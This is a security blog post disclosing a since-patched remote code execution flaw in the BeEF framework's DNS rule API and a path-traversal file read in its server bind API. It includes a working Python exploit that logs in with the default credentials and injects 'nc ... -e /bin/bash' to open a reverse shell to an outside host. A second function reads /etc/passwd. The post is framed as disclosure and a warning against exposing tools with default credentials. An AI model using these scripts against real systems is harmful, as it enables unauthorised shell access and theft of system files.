rce in browser exploitation framework (BeEF)
Let me preface this post by saying that this vulnerability is already fixed, and was caught pretty early during the development process. The vulnerability was originally introduced during a merge for the new DNS extension, and was promptly patched by antisnatchor on 03022014. Although this vulnerability was caught fairly quickly, it still made it into the master branch. I post this only because I’ve seen too many penetration testers leaving their tools externally exposed, often with default credentials.
The vulnerability is a trivial one, but is capable of returning a reverse shell to an attacker. BeEF exposes a REST API for modules and scripts to use; useful for dumping statistics, pinging hooked browsers, and more. It’s quite powerful. This can be accessed by simply pinging http://127.0.0.1:3000/api/
and providing a valid token. This token is static across a single session, and can be obtained by sending a POST to http://127.0.0.1:3000/api/admin/login
with appropriate credentials. Default credentials are beef:beef, and I don’t know many users that change this right away. It’s also of interest to note that the throttling code does not exist in the API login routine, so a brute force attack is possible here.
The vulnerability lies in one of the exposed API functions, /rule
. The code for this was as follows:
# Adds a new DNS rule
post '/rule' do
begin
body = JSON.parse(request.body.read)
pattern = body['pattern']
type = body['type']
response = body['response']
# Validate required JSON keys
unless [pattern, type, response].include?(nil)
# Determine whether 'pattern' is a String or Regexp
begin
pattern_test = eval pattern
pattern = pattern_test if pattern_test.class == Regexp
# end
rescue => e;
end
The obvious flaw is the eval on user-provided data. We can exploit this by POSTing a new DNS rule with a malicious pattern:
import requests
import json
import sys
def fetch_default(ip):
url = 'http://%s:3000/api/admin/login' % ip
headers = { 'Content-Type' : 'application/json; charset=UTF-8' }
data = { 'username' : 'beef', 'password' : 'beef' }
response = requests.post(url, headers=headers, data=json.dumps(data))
if response.status_code is 200 and json.loads(response.content)['success']:
return json.loads(response.content)['token']
try:
ip = '192.168.1.6'
if len(sys.argv) > 1:
token = sys.argv[1]
else:
token = fetch_default(ip)
if not token:
print 'Could not get auth token'
sys.exit(1)
url = 'http://%s:3000/api/dns/rule?token=%s' % (ip, token)
sploit = '%x(nc 192.168.1.97 4455 -e /bin/bash)'
headers = { 'Content-Type' : 'application/json; charset=UTF-8' }
data = { 'pattern' : sploit,
'type' : 'A',
'response' : [ '127.0.0.1' ]
}
response = requests.post(url, headers=headers, data=json.dumps(data))
print response.status_code
except Exception, e:
print e
You could execute ruby to grab a shell, but BeEF restricts some of the functions we can use (such as exec or system).
There’s also an instance of LFI, this time using the server API. /api/server/bind
allows us to mount files at the root of the BeEF web server. The path defaults to the current path, but can be traversed out of:
def run_lfi(ip, token):
url = 'http://%s:3000/api/server/bind?token=%s' % (ip, token)
headers = { 'Content-Type' : 'application/json'}
data = { 'mount' : "/tmp.txt",
'local_file' : "/../../../etc/passwd"
}
response = requests.post(url, headers=headers, data=json.dumps(data))
print response.status_code
We can then hit our server at /tmp.txt for /etc/passwd
. Though this appears to be intended behavior, and perhaps labeling it an LFI is a misnomer, it is still yet another example of why you should not expose these tools externally with default credentials. Default credentials are just bad, period. Stop it.